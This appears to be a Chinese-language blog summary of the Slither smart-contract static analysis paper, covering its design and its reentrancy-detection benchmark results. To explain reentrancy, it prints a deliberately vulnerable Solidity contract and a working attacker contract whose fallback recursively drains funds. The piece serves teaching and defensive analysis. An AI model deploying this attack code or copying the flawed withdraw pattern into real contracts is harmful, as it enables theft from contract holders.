Slither: A Static Analysis Framework For Smart

Slither: A Static Analysis Framework For Smart

论文标题:(2019-ICSE) Slither: a static analysis framework for smart contracts ——智能的静态分析框架

论文引用:Feist J, Grieco G, Groce A. Slither: a static analysis framework for smart contracts[C]//2019 IEEE/ACM 2nd International Workshop on Emerging Trends in Software Engineering for Blockchain (WETSEB). IEEE, 2019: 8-15.

代码开源:Slither:the Solidity source analyzer

一、主要内容

可重入攻击介绍

可重入攻击也就是攻击方发送一笔交易,导致合约一致重复执行直到将合约账户的资源消耗完。攻击方能成功进行可重入攻击,主要依赖于Soildity为智能合约提供的fallback和call函数,下面先对这两个函数的功能进行介绍。

Fallback 函数

以太坊的智能合约,可以声明一个匿名函数(unnamed function),叫做 Fallback 函数,这个函数不带任何参数,也没有返回值。当向这个合约发送消息时,如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账,但要合约接收 Ether,那么 fallback 函数必须声明为 payable,否则试图向此合约转 ETH 将失败。如下:

1
2
function() payable public { // payable 关键字,表明调用此函数,可向合约转 Ether。
}

向合约发送 send、transfer、call 消息时候都会调用 fallback 函数,不同的是 send 和 transfer 有 2300 gas 的限制,也就是传递给 fallback 的只有 2300 gas,这个 gas 只能用于记录日志,因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数,这有可能导致循环调用。

Call函数

call 可导致可重入攻击,当向合约转账的时候,会调用 fallback 函数,带有漏洞的合约代码如下:

  • withdraw函数的msg.sender.call.value可能成为恶意代码攻击的地方。
  • 如果发起交易方也是智能合约账户,当攻击方的合约账户通过调用Reentrance合约的withdraw函数进行提现的时候,由于调用call函数,将会调用攻击方合约的fallback函数;如果fallback代码再次调用Reentrance合约的withdraw函数就会形成代码可重入,将Reentrance合约账户的金额全部提走而在区块的记录仅仅提现了第一笔
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Reentrance {
mapping(address => uint) public balances;
// 充值
function donate(address _to) public payable {
balances[_to] += msg.value;
}
// 查看余额
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
// 提现
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) { //造成可重入攻击的代码
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}

攻击方的合约代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract ReentranceAttack{
Reentrance entrance;

function ReentranceAttack(address _target) public payable {
entrance = Reentrance(_target);
}
function deposit() public payable{
entrance.donate.value(msg.value);
}
function attack() public{
entrance.withdraw(0.5 ether);
entrance.withdraw(0.5 ether);
}
function() public payable{
//攻击方将会递归进行提币操作
entrance.withdraw(0.5 ether);
}
function withdraw() public {
msg.sender.transfer(this.balance);
}
}

在这里插入图片描述

二、设计实现

基本功能

Slither是一个用Python 3编写的智能合约静态分析框架,提供如下功能:

  • 自动化漏洞检测(Automated vulnerability detection)。提供超30多项的漏洞检查模型,模型列表详见:https://github.com/crytic/slither#detectors。
  • 自动优化检测(Automated optimization detection)。Slither可以检测编译器遗漏的代码优化项并给出优化建议。
  • 代码理解(Code understanding)。Slither能够绘制合约的继承拓扑图,合约方法调用关系图等,帮助开发者理解代码。
  • 辅助代码审查(Assisted code review)。用户可以通过API与Slither进行交互。

工作方式

Slither的工作方式如下:

  1. Solidity compiler:智能合约源码经过solc编译后得到Solidity抽象语法树(Solidity Abstract Syntax Tree,AST)作为Slither的输入;可以指定Slither去调用一些常见的框架(包括Truffle,Embark和Dapp)去分析一份智能合约。
  2. information recovery(数据整合):Slither会生成一些重要的信息,比如合约的继承图(inheritance graph)、控制流图(CFG)以及合约中函数列表。
  3. SlithIR conversion:Slither将合约代码转换为SlithIR(一种内部表示语言),目的是通过简单的API实现高精度分析,支持污点和值的跟踪,从而支持检测复杂的模型。
  4. 在代码分析阶段,Slither运行一组预定义的分析,包括合约中变量、函数的依赖关系;变量的读写和函数的权限控制。
  5. 经过Slither的核心处理之后,就可以提供漏洞检测、代码优化检测和代码理解输出等。

image-20201022200218960

三、实验评估

本文的一个重要部分是将Slither与其他智能合约静态分析工具进行比较,我们将Slither(版本0.5.0)与其他开源静态分析工具进行对比,以检测以太坊智能合约中的漏洞,对比的对象有:Securify(版本37e2984),SmartCheck(版本4d3367a)和Solhint(版本1.1.10)。我们决定以检测可重入漏洞作为评估检测好坏的标准,因为可重入漏洞是最古老,最易理解和最危险的安全问题之一。

它在第一个月筹集了超过1.5亿美元的资金。2016年6月17日,黑客从该组织的“重入性”漏洞中抽走了5000万美元。从以太经典(ETC)到以太币(ETH)的硬叉导致了解决这次黑客攻击所产生问题的所有努力。图2显示了一个简单的可重入合约的经典示例,该合约可被人利用以抽取其所有以太币。

img

可重入检测器(The reentrancy detecto)是我们评估的所有工具中可用的少数几个之一。此外,我们尝试了Etherscan提供其源代码的一千个最常用的合同(交易数量最大的那些合同),以获得以下结果:

image-20201022210524839

观察结果可知

  1. 准确性:每行汇总了误报、标记的合同和每个合同的检测准确性结果。 我们的实验表明,Slither是最准确的工具,其误报率最低,为10.9%; 其次是Securify,占25%.相反,SmartCheck和Solhint的假阳性率极高:分别为73.6%和91.3%
  2. 性能:平均执行时间(Average execution time)和超时分析(Timed-out analyses)行汇总了性能结果,确认Slither是最快的工具,其次是Solhint,SmartCheck,最后是Securify。
  3. 鲁棒性:Failed analyses row 总结了健壮性结果,显示Slither是最健壮的工具,其次是Solhint、SmartCheck和Securify。 Slither只对0.1%的合同误报,与此同时,Solhint大约是1.2%左右。SmartCheck和Securify的表现就没那么稳健了,分别有10.22%和11.20%的失败率。

四、总结

Slither自从被开发出来,技术迭代速度很快。截止到目前(2020.10.22),开发者最近发布了Slither0.6.13版,对其做了一些技术改进并添加了一些功能。目前Slither已经拥有96多个开源探测器,包含两个YUL特定检测器,适用于竞态条件、弱加密和其他关键漏洞的检测。相比于其他用于出于科研目的,论文一经发表就不再维护而言的工具而言,Slither有更好健壮性。